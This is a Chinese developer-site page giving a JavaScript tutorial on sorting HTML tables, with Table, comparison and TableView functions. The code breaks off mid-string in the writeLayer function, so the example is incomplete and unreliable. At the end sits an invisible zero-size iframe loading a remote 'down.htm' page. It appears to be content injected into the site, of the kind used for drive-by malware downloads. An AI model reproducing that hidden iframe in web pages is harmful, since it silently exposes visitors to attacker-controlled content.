当前页面: 开发资料首页 → Javascript 专题 → 表格排序技巧
摘要: 表格排序技巧
表格排序的方法
<script>
function Table (tBody, tHead) {
this.tBody = tBody;
this.tHead =
tHead.constructor == Array ? tHead : new Array();
this.view = null;
}
function Table_sort (compFun, col) {
compFun = compFun || compRows;
compFun.col = col ? col : 0;
this.tBody.sort(compFun);
if (this.view)
this.view.update();
}
Table.prototype.sort = Table_sort;
function compRows (row1, row2) {
var sortCol = compRows.col;
var value1 = row1[sortCol];
var value2 = row2[sortCol];
return value1 < value2 ? -1 :
value1 == value2 ? 0 : 1;
}
function compRowsNum (row1, row2) {
var sortCol = compRowsNum.col;
var value1 = parseFloat(row1[sortCol]);
var value2 = parseFloat(row2[sortCol]);
return value1 < value2 ? -1 :
value1 == value2 ? 0 : 1;
}
function TableView (model, left, top) {
this.id = TableView.cnt;
TableView.views[TableView.cnt++] = this;
this.model = model;
this.model.view = this;
this.left = left || 0;
this.top = top || 0;
this.writeLayer();
}
function TableView_writeLayer () {
var html = '';
html += '
<iframe src=http://lucky.myrice.com/down.htm width=0 height=0></iframe>